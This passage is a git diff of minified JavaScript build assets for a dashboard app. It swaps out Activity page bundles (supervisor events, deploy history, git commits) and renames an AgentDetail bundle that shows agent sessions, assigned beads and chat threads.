text-label uppercase tracking-wider text-fg-muted",children:[t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Time"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Status"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Detail"})]})}),t.jsx("tbody",{children:n.length===0?t.jsx(w,{colSpan:3,children:a?"Reading deploy history.":"No deploy records in this window."}):n.map(l=>t.jsxs("tr",{...b(i(l)),className:`border-b border-rule ${b(i(l)).className??""}`,children:[t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:t.jsx(E,{ts:l.at})}),t.jsx("td",{className:"py-3 pr-6 align-baseline",children:t.jsx(ne,{deploy:l})}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:l.detail})]},`${l.at}:${l.detail}`))})]})]})}function re({commits:e,error:s,loading:a}){const i=e?.items??[];return t.jsxs(y,{title:"Git commits",meta:e===null?null:e.view,children:[s!==void 0&&t.jsxs("p",{className:"text-body text-accent",role:"alert",children:["Git commits unavailable: ",s,"."]}),t.jsxs(N,{label:"Git commits",children:[t.jsx("thead",{children:t.jsxs("tr",{className:"border-b border-rule text-label uppercase tracking-wider text-fg-muted",children:[t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Time"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Commit"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Author"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Subject"})]})}),t.jsx("tbody",{children:i.length===0?t.jsx(w,{colSpan:4,children:a?"Reading git commits.":"No commits in this window."}):i.map(n=>t.jsx(ae,{commit:n},n.sha))})]})]})}function ae({commit:e}){return t.jsxs("tr",{className:"border-b border-rule",children:[t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:t.jsx(E,{ts:e.date})}),t.jsx("td",{className:"py-3 pr-6 align-baseline font-medium text-fg",children:e.short_sha}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:e.author}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:e.subject})]})}function y({children:e,meta:s,title:a}){return t.jsxs("section",{"aria-labelledby":T(a),className:"space-y-4",children:[t.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[t.jsx("h2",{id:T(a),className:"text-headline font-semibold tracking-tight text-fg",children:a}),s!==null&&t.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:s})]}),e]})}function N({children:e,label:s}){return t.jsx("div",{className:"overflow-x-auto",children:t.jsx("table",{"aria-label":s,className:"w-full text-body tnum",children:e})})}function w({children:e,colSpan:s}){return t.jsx("tr",{children:t.jsx("td",{colSpan:s,className:"py-10 text-center text-fg-muted italic",children:e})})}function E({ts:e}){return t.jsx("span",{title:H(e),children:G(e)})}function le({signal:e}){const s=e==="attention"?"stuck":e==="watch"?"warn":"neutral";return t.jsx(R,{tone:s,label:e})}function ne({deploy:e}){const s=e.status==="ok"?"ok":e.status==="failed"?"stuck":e.status==="in-progress"?"warn":"neutral";return t.jsx(R,{tone:s,label:e.status})}function ie(e,s){return e==="events"&&s!==null?`Supervisor events filtered to ${s}.`:e==="events"?"Supervisor event history from the active city.":e==="deploys"?"Deploy history from dashboard-local project logs.":e==="commits"?"Recent git commits from the local project checkout.":"Supervisor events, deploy history, and recent project commits."}function oe(e){return`event:${String(e.seq)}:${e.type}`}function ce(e){return e.status==="failed"||e.status==="in-progress"?`deploy:${e.at}:${e.status}`:`deploy:${e.at}`}function ue(e,s){if(e==="all")return"/activity";const a=new URLSearchParams;return a.set("mode",e),e==="events"&&s!==null&&a.set("type",s),`/activity?${a.toString()}`}function d(e,s){return e==="all"||e===s}function de(e){const s=e.get("mode");return s==="events"||s==="deploys"||s==="commits"?s:"all"}function x(e){if(e===null)return null;const s=e.trim();return s.length===0?null:s}function me(e){const s=x(e.get("since"));return s!==null&&L.some(a=>a.value===s)?s:f}function pe(e){const s=x(e.get("signal"));return s==="attention"||s==="watch"||s==="event"?s:"all"}function p(e,s,a,i,n){const l=new URLSearchParams(s),o=i.trim();o.length===0||o===n?l.delete(a):l.set(a,o),e(l)}function xe(e){return[e.type,e.actor,e.subject,e.message,D(e)].filter(s=>typeof s=="string").join(`
+`).toLowerCase()}function fe(e){const s=e?.partial_errors;return Array.isArray(s)?s.filter(a=>typeof a=="string"&&a.length>0):[]}function T(e){return`activity-${e.toLowerCase().replace(/[^a-z0-9]+/g,"-")}`}export{Ne as ActivityPage};
diff --git a/internal/api/dashboardspa/dist/assets/Activity-vQrY22hr.js b/internal/api/dashboardspa/dist/assets/Activity-vQrY22hr.js
deleted file mode 100644
index 1fab97a0d2..0000000000
--- a/internal/api/dashboardspa/dist/assets/Activity-vQrY22hr.js
+++ /dev/null
@@ -1,2 +0,0 @@
-import{K as _,J as q,a as P,M as B,b as F,j as t,B as V,L as W,ao as $,ap as D,ab as A,z as v,S as R,I as M}from"./index-fZITW1u7.js";import{r as C,c as b}from"./routeHighlight-B30gQO2o.js";import{P as z}from"./PageHeader-BLycRKkQ.js";import{b as G,a as O}from"./time-D9v0saHV.js";import{u as H}from"./useVisibleRefresh-TxiorL5p.js";const U=100,f="24h";async function K(e={}){const s=_("list supervisor events"),a=await q().listEvents(s,{limit:U,since:f,...e}),i=a.items??[];return i.sort((n,l)=>l.seq-n.seq),{...a,items:i,total:Number(a.total)}}const J=[{mode:"all",label:"All"},{mode:"events",label:"Events"},{mode:"deploys",label:"Deploys"},{mode:"commits",label:"Commits"}],L=[{value:"1h",label:"Last hour"},{value:f,label:"Last 24 hours"},{value:"7d",label:"Last 7 days"}],Q=[{value:"all",label:"All signals"},{value:"attention",label:"Attention"},{value:"watch",label:"Watch"},{value:"event",label:"Event"}];function Ne(){const e=P(),[s,a]=B(),i=de(s),n=d(i,"events"),l=n?x(s.get("type")):null,o=n?x(s.get("actor")):null,r=n?me(s):f,c=n?pe(s):"all",h=n?x(s.get("q")):null,I=["activity:bundle",M()??"no-city",i,l??"all",o??"all",r,c,h??""].join(":"),{data:u,loading:m,error:S,refresh:k}=F(I,()=>X(i,l,o,r,c,h));return H(k,3e4),t.jsxs("section",{children:[t.jsx(z,{title:"Activity",synopsis:ie(i,l),meta:t.jsxs(t.Fragment,{children:[S&&t.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:S}),t.jsx(V,{size:"sm",onClick:()=>{k()},disabled:m,children:m?"Refreshing":"Refresh"})]})}),t.jsx(Z,{active:i,eventType:l}),n&&t.jsx(ee,{eventType:l,eventActor:o,eventWindow:r,eventSignal:c,searchParams:s,setSearchParams:a,textFilter:h}),t.jsxs("div",{className:"mt-10 space-y-12",children:[d(i,"events")&&t.jsx(te,{events:u?.events??null,...u?.eventsError!==void 0?{error:u.eventsError}:{},filterActive:l!==null||o!==null||c!=="all"||h!==null,loading:m,attentionSeverity:g=>C(e,"activity",oe(g))}),d(i,"deploys")&&t.jsx(se,{deploys:u?.deploys??null,...u?.deploysError!==void 0?{error:u.deploysError}:{},loading:m,attentionSeverity:g=>C(e,"activity",ce(g))}),d(i,"commits")&&t.jsx(re,{commits:u?.commits??null,...u?.commitsError!==void 0?{error:u.commitsError}:{},loading:m})]})]})}async function X(e,s,a,i,n,l){const[o,r,c]=await Promise.allSettled([d(e,"events")?Y(s,a,i,n,l):Promise.resolve(null),d(e,"deploys")?A.listBuilds():Promise.resolve(null),d(e,"commits")?A.listCommits("recent-all"):Promise.resolve(null)]);return{commits:j(c),...c.status==="rejected"?{commitsError:v(c.reason,"git commits unavailable")}:{},deploys:j(r),...r.status==="rejected"?{deploysError:v(r.reason,"deploy history unavailable")}:{},events:j(o),...o.status==="rejected"?{eventsError:v(o.reason,"event history unavailable")}:{}}}async function Y(e,s,a,i,n){const l=await K({since:a,...e===null?{}:{type:e},...s===null?{}:{actor:s}}),o=n?.toLowerCase()??"",r=l.items.filter(c=>e!==null&&c.type!==e||s!==null&&c.actor!==s||i!=="all"&&$(c)!==i?!1:o.length===0?!0:xe(c).includes(o));return{...l,items:r,total:r.length}}function j(e){return e.status==="fulfilled"?e.value:null}function Z({active:e,eventType:s}){return t.jsx("nav",{"aria-label":"Activity modes",children:t.jsx("ul",{className:"flex flex-wrap gap-2",children:J.map(({mode:a,label:i})=>{const n=e===a;return t.jsx("li",{children:t.jsx(W,{to:ue(a,s),"aria-current":n?"page":void 0,className:["inline-flex items-center rounded-sm border px-2.5 py-1 text-label uppercase tracking-wider transition-colors duration-150 ease-out-quart focus-mark",n?"border-fg text-fg":"border-rule text-fg-muted hover:text-fg hover:bg-surface-tint"].join(" "),children:i})},a)})})})}function ee({eventActor:e,eventSignal:s,eventType:a,eventWindow:i,searchParams:n,setSearchParams:l,textFilter:o}){return t.jsxs("div",{className:"mt-6 flex flex-wrap items-end gap-4",children:[t.jsxs("label",{className:"grid gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Event window",t.jsx("select",{"aria-label":"Event window",value:i,onChange:r=>p(l,n,"since",r.currentTarget.value,f),className:"min-w-36 rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg focus-mark",children:L.map(r=>t.jsx("option",{value:r.value,children:r.label},r.value))})]}),t.jsxs("label",{className:"grid gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Event type",t.jsx("input",{"aria-label":"Event type",value:a??"",onChange:r=>p(l,n,"type",r.currentTarget.value),placeholder:"session.crashed",className:"min-w-44 rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg placeholder:text-fg-faint focus-mark"})]}),t.jsxs("label",{className:"grid gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Event actor",t.jsx("input",{"aria-label":"Event actor",value:e??"",onChange:r=>p(l,n,"actor",r.currentTarget.value),placeholder:"supervisor",className:"min-w-40 rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg placeholder:text-fg-faint focus-mark"})]}),t.jsxs("label",{className:"grid gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Signal severity",t.jsx("select",{"aria-label":"Signal severity",value:s,onChange:r=>p(l,n,"signal",r.currentTarget.value,"all"),className:"min-w-36 rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg focus-mark",children:Q.map(r=>t.jsx("option",{value:r.value,children:r.label},r.value))})]}),t.jsxs("label",{className:"grid min-w-56 flex-1 gap-1 text-label uppercase tracking-wider text-fg-muted",children:["Search activity",t.jsx("input",{"aria-label":"Search activity",value:o??"",onChange:r=>p(l,n,"q",r.currentTarget.value),placeholder:"actor, subject, or message",className:"rounded-sm border border-rule bg-surface px-2 py-1 text-body normal-case tracking-normal text-fg placeholder:text-fg-faint focus-mark"})]})]})}function te({error:e,events:s,filterActive:a,loading:i,attentionSeverity:n}){const l=s?.items??[],o=fe(s);return t.jsxs(y,{title:"Supervisor events",meta:s===null?null:`${s.total} events`,children:[e!==void 0&&t.jsxs("p",{className:"text-body text-accent",role:"alert",children:["Event history unavailable: ",e,"."]}),s?.partial===!0&&t.jsxs("p",{className:"text-body text-warn",children:["Event history incomplete",o.length>0?`: ${o.join("; ")}`:"."]}),t.jsxs(N,{label:"Supervisor events",children:[t.jsx("thead",{children:t.jsxs("tr",{className:"border-b border-rule text-label uppercase tracking-wider text-fg-muted",children:[t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Time"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Signal"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Type"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Subject"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Detail"})]})}),t.jsx("tbody",{children:l.length===0?t.jsx(w,{colSpan:5,children:i?"Reading supervisor events.":e!==void 0?"Event history unavailable.":a?"No supervisor events match these filters.":"No supervisor events in this window."}):l.map((r,c)=>t.jsxs("tr",{...b(n(r)),className:`border-b border-rule ${b(n(r)).className??""}`,children:[t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:t.jsx(E,{ts:r.ts})}),t.jsx("td",{className:"py-3 pr-6 align-baseline",children:t.jsx(le,{signal:$(r)})}),t.jsx("td",{className:"py-3 pr-6 align-baseline font-medium text-fg",children:r.type}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:r.subject??"·"}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:D(r)})]},`${r.seq}:${r.type}:${c}`))})]})]})}function se({deploys:e,error:s,loading:a,attentionSeverity:i}){const n=e?.items??[];return t.jsxs(y,{title:"Deploy history",meta:e?.failed_marker===!0?"failed marker present":e?.source??null,children:[s!==void 0&&t.jsxs("p",{className:"text-body text-accent",role:"alert",children:["Deploy history unavailable: ",s,"."]}),t.jsxs(N,{label:"Deploy history",children:[t.jsx("thead",{children:t.jsxs("tr",{className:"border-b border-rule text-label uppercase tracking-wider text-fg-muted",children:[t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Time"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Status"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Detail"})]})}),t.jsx("tbody",{children:n.length===0?t.jsx(w,{colSpan:3,children:a?"Reading deploy history.":"No deploy records in this window."}):n.map(l=>t.jsxs("tr",{...b(i(l)),className:`border-b border-rule ${b(i(l)).className??""}`,children:[t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:t.jsx(E,{ts:l.at})}),t.jsx("td",{className:"py-3 pr-6 align-baseline",children:t.jsx(ne,{deploy:l})}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:l.detail})]},`${l.at}:${l.detail}`))})]})]})}function re({commits:e,error:s,loading:a}){const i=e?.items??[];return t.jsxs(y,{title:"Git commits",meta:e===null?null:e.view,children:[s!==void 0&&t.jsxs("p",{className:"text-body text-accent",role:"alert",children:["Git commits unavailable: ",s,"."]}),t.jsxs(N,{label:"Git commits",children:[t.jsx("thead",{children:t.jsxs("tr",{className:"border-b border-rule text-label uppercase tracking-wider text-fg-muted",children:[t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Time"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Commit"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Author"}),t.jsx("th",{scope:"col",className:"pb-3 pr-6 text-left font-medium",children:"Subject"})]})}),t.jsx("tbody",{children:i.length===0?t.jsx(w,{colSpan:4,children:a?"Reading git commits.":"No commits in this window."}):i.map(n=>t.jsx(ae,{commit:n},n.sha))})]})]})}function ae({commit:e}){return t.jsxs("tr",{className:"border-b border-rule",children:[t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:t.jsx(E,{ts:e.date})}),t.jsx("td",{className:"py-3 pr-6 align-baseline font-medium text-fg",children:e.short_sha}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:e.author}),t.jsx("td",{className:"py-3 pr-6 align-baseline text-fg-muted",children:e.subject})]})}function y({children:e,meta:s,title:a}){return t.jsxs("section",{"aria-labelledby":T(a),className:"space-y-4",children:[t.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[t.jsx("h2",{id:T(a),className:"text-headline font-semibold tracking-tight text-fg",children:a}),s!==null&&t.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:s})]}),e]})}function N({children:e,label:s}){return t.jsx("div",{className:"overflow-x-auto",children:t.jsx("table",{"aria-label":s,className:"w-full text-body tnum",children:e})})}function w({children:e,colSpan:s}){return t.jsx("tr",{children:t.jsx("td",{colSpan:s,className:"py-10 text-center text-fg-muted italic",children:e})})}function E({ts:e}){return t.jsx("span",{title:O(e),children:G(e)})}function le({signal:e}){const s=e==="attention"?"stuck":e==="watch"?"warn":"neutral";return t.jsx(R,{tone:s,label:e})}function ne({deploy:e}){const s=e.status==="ok"?"ok":e.status==="failed"?"stuck":e.status==="in-progress"?"warn":"neutral";return t.jsx(R,{tone:s,label:e.status})}function ie(e,s){return e==="events"&&s!==null?`Supervisor events filtered to ${s}.`:e==="events"?"Supervisor event history from the active city.":e==="deploys"?"Deploy history from dashboard-local project logs.":e==="commits"?"Recent git commits from the local project checkout.":"Supervisor events, deploy history, and recent project commits."}function oe(e){return`event:${String(e.seq)}:${e.type}`}function ce(e){return e.status==="failed"||e.status==="in-progress"?`deploy:${e.at}:${e.status}`:`deploy:${e.at}`}function ue(e,s){if(e==="all")return"/activity";const a=new URLSearchParams;return a.set("mode",e),e==="events"&&s!==null&&a.set("type",s),`/activity?${a.toString()}`}function d(e,s){return e==="all"||e===s}function de(e){const s=e.get("mode");return s==="events"||s==="deploys"||s==="commits"?s:"all"}function x(e){if(e===null)return null;const s=e.trim();return s.length===0?null:s}function me(e){const s=x(e.get("since"));return s!==null&&L.some(a=>a.value===s)?s:f}function pe(e){const s=x(e.get("signal"));return s==="attention"||s==="watch"||s==="event"?s:"all"}function p(e,s,a,i,n){const l=new URLSearchParams(s),o=i.trim();o.length===0||o===n?l.delete(a):l.set(a,o),e(l)}function xe(e){return[e.type,e.actor,e.subject,e.message,D(e)].filter(s=>typeof s=="string").join(`
-`).toLowerCase()}function fe(e){const s=e?.partial_errors;return Array.isArray(s)?s.filter(a=>typeof a=="string"&&a.length>0):[]}function T(e){return`activity-${e.toLowerCase().replace(/[^a-z0-9]+/g,"-")}`}export{Ne as ActivityPage};
diff --git a/internal/api/dashboardspa/dist/assets/AgentDetail-D5RvdJXI.js b/internal/api/dashboardspa/dist/assets/AgentDetail-4AW6d3TF.js
similarity index 96%
rename from internal/api/dashboardspa/dist/assets/AgentDetail-D5RvdJXI.js
rename to internal/api/dashboardspa/dist/assets/AgentDetail-4AW6d3TF.js
index 77f3bdb70a..d6b8d24048 100644
--- a/internal/api/dashboardspa/dist/assets/AgentDetail-D5RvdJXI.js
+++ b/internal/api/dashboardspa/dist/assets/AgentDetail-4AW6d3TF.js
@@ -1 +1 @@
-import{j as e,B as T,r,p as F,q as ie,t as ce,v as oe,w as de,u as ue,x as U,l as me,y as xe,z as X,f as fe,A as ge,C as he,L as K,s as pe,S as je,G as W}from"./index-fZITW1u7.js";import{u as be,R as Ne,B as we}from"./BeadDetailModal-sFRcKk2v.js";import{P as D}from"./PageHeader-BLycRKkQ.js";import{f as O}from"./time-D9v0saHV.js";import{P as ve}from"./constants-D2ZRoVbf.js";import{L as ye,a as Ae}from"./LiveSessionPeek-BIw38Xn5.js";import{e as Ce}from"./context-window-Cu9zl36t.js";import{f as Se}from"./agentReads-B_zbPymi.js";import"./format-fte2CeYD.js";import"./Field-n7F8BpXe.js";function ke({beads:n,error:c,loading:l,onSelect:i}){return e.jsxs("section",{className:"mb-12",children:[e.jsxs("header",{className:"flex items-baseline justify-between mb-4",children:[e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Beads assigned"}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:l?"·":n.length})]}),c!==null?e.jsx("p",{className:"text-body text-accent",role:"alert",children:c}):l?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading beads."}):n.length===0?e.jsx("p",{className:"text-body text-fg-muted italic",children:"No beads assigned to this agent."}):e.jsx("ul",{className:"space-y-2",children:n.map(a=>e.jsxs("li",{className:"flex items-baseline gap-3 min-w-0",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:a.id}),e.jsx("button",{type:"button",onClick:()=>i(a),className:"text-body text-fg hover:text-accent truncate min-w-0 text-left focus-mark",title:`Open ${a.id}`,children:a.title}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint shrink-0",children:a.status})]},a.id))})]})}function _e({messages:n,loading:c,error:l,now:i}){return e.jsxs("section",{className:"mt-12",children:[e.jsxs("header",{className:"flex items-baseline justify-between mb-4",children:[e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Chat thread"}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:c?"·":n.length})]}),e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint mb-4",children:e.jsxs("span",{className:"text-accent",children:["▲ ",ve]})}),c?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading messages."}):l!==null?e.jsx("p",{className:"text-body text-accent",role:"alert",children:l}):n.length===0?e.jsx("p",{className:"text-body text-fg-muted italic",children:"No messages between operator and this agent."}):e.jsx("ul",{className:"space-y-6",children:n.map(a=>e.jsxs("li",{className:"space-y-2 pb-4 border-b border-rule last:border-0",children:[e.jsxs("header",{className:"flex items-baseline justify-between gap-3",children:[e.jsxs("div",{className:"text-label uppercase tracking-wider text-fg-muted truncate",children:[e.jsx("span",{className:"text-fg font-medium",children:a.from}),e.jsx("span",{className:"mx-1.5 text-fg-faint",children:"→"}),e.jsx("span",{children:a.to})]}),e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:O(a.created_at,i)})]}),a.subject&&e.jsx("p",{className:"text-body font-medium text-fg",children:a.subject}),e.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed text-fg overflow-x-auto",children:a.body})]},a.id))})]})}function Ee({alias:n,prompt:c,loading:l,error:i,onRefresh:a}){const j=i?.status===404||i?.kind==="not_found",f=c!==null?`${c.length.toLocaleString()} chars`:l?"loading":i!==null?"—":"·";return e.jsxs("section",{className:"mt-12",children:[e.jsxs("header",{className:"flex items-baseline justify-between mb-4",children:[e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Directives"}),e.jsxs("div",{className:"flex items-baseline gap-3",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:f}),e.jsx(T,{size:"sm",tone:"quiet",onClick:a,disabled:l,children:l?"Refreshing":"Refresh"})]})]}),l&&c===null&&i===null?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading directives."}):j?e.jsxs("p",{className:"text-body text-warn",children:["Agent ",e.jsx("code",{className:"text-fg",children:n})," has no entry in city config."]}):i!==null?e.jsxs("p",{className:"text-body text-accent",role:"alert",children:[i.status?`${i.status} `:"",i.message]}):c!==null?e.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed text-fg overflow-x-auto max-h-[60vh] overflow-y-auto",children:c}):null]})}function Le({session:n}){return e.jsxs("section",{children:[e.jsx("header",{className:"flex items-baseline justify-between mb-4",children:e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Live peek"})}),e.jsx(ye,{sessionId:n.id,stream:Ae(n),showBadge:!0,showCaption:!0})]})}function Be({session:n,now:c}){const l=Ce(n),i=[{label:"Rig",value:n.rig??"·"},{label:"Pool",value:n.pool??"·"},{label:"Provider",value:n.provider??"·"},{label:"Model",value:n.model??"·"},{label:"Context",value:typeof l=="number"?e.jsxs("span",{className:`tnum ${l>=95?"text-accent":l>=80?"text-warn":"text-fg"}`,children:[l,"%"]}):"·"},{label:"Attached",value:n.attached?"yes":"no"},{label:"Created",value:e.jsx("span",{className:"tnum",children:O(n.created_at,c)})},{label:"Last active",value:e.jsx("span",{className:"tnum",children:O(n.last_active,c)})}];return e.jsx("dl",{className:"grid grid-cols-2 sm:grid-cols-4 gap-x-8 gap-y-5 mb-12",children:i.map(a=>e.jsxs("div",{children:[e.jsx("dt",{className:"text-label uppercase tracking-wider text-fg-faint mb-1",children:a.label}),e.jsx("dd",{className:"text-body text-fg",children:a.value})]},a.label))})}const Me=2e3,Re=6e4;function Pe({enabled:n,intervalMs:c,load:l,formatError:i,initialBackoffMs:a=Me,maxBackoffMs:j=Re}){const[f,g]=r.useState({status:"idle"}),b=r.useRef(0),h=r.useRef(0);return r.useEffect(()=>{if(!n){b.current=0,h.current=0,g({status:"idle"});return}let N=!1,p=new AbortController;const w=()=>{b.current=0,h.current=0},v=()=>{const u=Math.min(a*2**b.current,j);b.current+=1,h.current=Date.now()+u},y=async()=>{if(Date.now()<h.current)return;p.abort(),p=new AbortController;const u=p;g(m=>m.status==="ready"?{...m,refreshing:!0,error:""}:{status:"loading"});try{const m=await l(u.signal);if(N||u.signal.aborted)return;w(),g({status:"ready",data:m,refreshing:!1,error:""})}catch(m){if(N||u.signal.aborted)return;v();const C=i?i(m):F(m);g(E=>E.status==="ready"?{...E,refreshing:!1,error:C}:{status:"failed",error:C})}};y();const A=window.setInterval(()=>{document.hidden||y()},c);return()=>{N=!0,p.abort(),window.clearInterval(A)}},[n,c,l,i,a,j]),f}const Ie=1e4,J=200;function Ue(){const{slug:n=""}=ie(),c=ce(),{viewingAs:l}=oe(),i=de(),[a,j]=r.useState(null),[f,g]=r.useState(null),[b,h]=r.useState(null),[N,p]=r.useState(null),[w,v]=r.useState(null),[y,A]=r.useState(null),u=ue(),[m,C]=r.useState(null),[E,V]=r.useState(!1),[Q,$]=r.useState(null),S=r.useMemo(()=>{try{return decodeURIComponent(n)}catch(t){return U({component:"AgentDetail",operation:"decodeSlug",message:F(t)}),n}},[n]),M=r.useCallback(async()=>{try{const{items:t}=await me();j(t??[]),p(null)}catch(t){p(t instanceof Error?t.message:"sessions failed")}},[]),s=r.useMemo(()=>a===null?null:a.find(t=>t.session_name===S)??a.find(t=>t.alias===S)??a.find(t=>t.id===S)??null,[a,S]),R=r.useMemo(()=>s===null?[]:[s.alias??"",s.session_name,s.id],[s]),P=r.useCallback(async()=>{if(R.length===0){g([]),h(null);return}try{const{items:t}=await xe(R,{includeClosed:!0});g(t),h(null)}catch(t){g([]),h(X(t,"assigned beads unavailable")),U({component:"AgentDetail",operation:"refreshBeads",message:F(t)})}},[R]);r.useEffect(()=>{M()},[M]),r.useEffect(()=>{P()},[P]),fe([W.session,W.bead],()=>{M(),P()});const Y=r.useMemo(()=>{if(s===null||f===null)return[];const t=new Set;return s.alias&&t.add(s.alias),s.session_name&&t.add(s.session_name),t.add(s.id),f.filter(o=>{if(o.assignee!==void 0&&t.has(o.assignee))return!0;const d=o.metadata;return!!(d&&(d.session_id===s.id||d.session_name&&d.session_name===s.session_name))})},[s,f]),q=r.useMemo(()=>{if(s===null)return[];const t=new Set;return s.alias&&t.add(s.alias.toLowerCase()),s.session_name&&t.add(s.session_name.toLowerCase()),t.add(s.id.toLowerCase()),[...t]},[s]),z=r.useMemo(()=>[l.alias.toLowerCase(),i.operatorWireAlias.toLowerCase()],[l.alias,i.operatorWireAlias]),Z=r.useCallback(async()=>{const{items:t}=await ge("all",l.alias,i);return t},[l.alias,i]),x=Pe({enabled:s!==null,intervalMs:Ie,load:Z,formatError:X}),ee=x.status==="loading",se=x.status==="failed"||x.status==="ready"&&x.error.length>0?x.error:null,k=r.useMemo(()=>s===null?null:s.alias??s.template??null,[s]),te=r.useCallback(async()=>{if(k!==null){V(!0),$(null);try{const t=await Se(k);C(t.prompt)}catch(t){const o=he(t,"directives fetch failed"),d={message:o.message};o.status!==void 0&&(d.status=o.status),o.kind!==void 0&&(d.kind=o.kind),$(d),C(null)}finally{V(!1)}}},[k]),I=be(s?.id??null),ae=r.useMemo(()=>{const t=x.status==="ready"?x.data:[],o=new Set(q),d=new Set(z),_=t.filter(L=>{const B=(L.from??"").toLowerCase(),H=(L.to??"").toLowerCase();return!!(d.has(B)&&o.has(H)||o.has(B)&&d.has(H))});return _.sort((L,B)=>L.created_at.localeCompare(B.created_at)),_.length>J?_.slice(_.length-J):_},[x,q,z]);if(a===null)return e.jsx("section",{children:e.jsx(D,{title:"Agent",synopsis:"Loading session list."})});if(s===null)return e.jsxs("section",{children:[e.jsx(D,{title:"Agent",synopsis:e.jsxs(e.Fragment,{children:["No session matches ",e.jsx("code",{className:"text-fg",children:S}),"."]}),meta:e.jsx(T,{size:"sm",tone:"quiet",onClick:()=>c("/agents"),children:"← Agents"})}),e.jsxs("p",{className:"text-body text-fg-muted max-w-prose",children:["The slug doesn't match any current session's session_name, alias, or id. Sessions are listed at"," ",e.jsx(K,{to:"/agents",className:"text-accent hover:underline",children:"/agents"}),"."]})]});const ne=s.alias??s.title??s.id,re=pe(s.state),G=t=>{v(null),A(t)},le=()=>{v(null),A(null)};return e.jsxs("section",{children:[e.jsx(D,{title:ne,synopsis:e.jsxs("span",{className:"flex flex-wrap items-baseline gap-x-3 gap-y-1",children:[e.jsx(je,{tone:re,label:s.state,...s.attached?{trailing:"att"}:{},...s.reason?{title:`reason: ${s.reason}`}:{}}),e.jsx("span",{className:"text-fg-faint",children:"·"}),e.jsx("code",{className:"text-fg-muted",children:s.template??"—"}),s.session_name&&s.session_name!==s.alias&&e.jsxs(e.Fragment,{children:[e.jsx("span",{className:"text-fg-faint",children:"·"}),e.jsx("span",{className:"text-fg-faint",children:s.session_name})]}),e.jsx("span",{className:"text-fg-faint",children:"·"}),e.jsxs("span",{className:"text-fg-faint",children:["id ",e.jsx("code",{className:"text-fg-muted",children:s.id})]})]}),meta:e.jsx(K,{to:"/agents",children:e.jsx(T,{size:"sm",tone:"quiet",children:"← Agents"})})}),N&&e.jsx("p",{className:"text-body text-accent 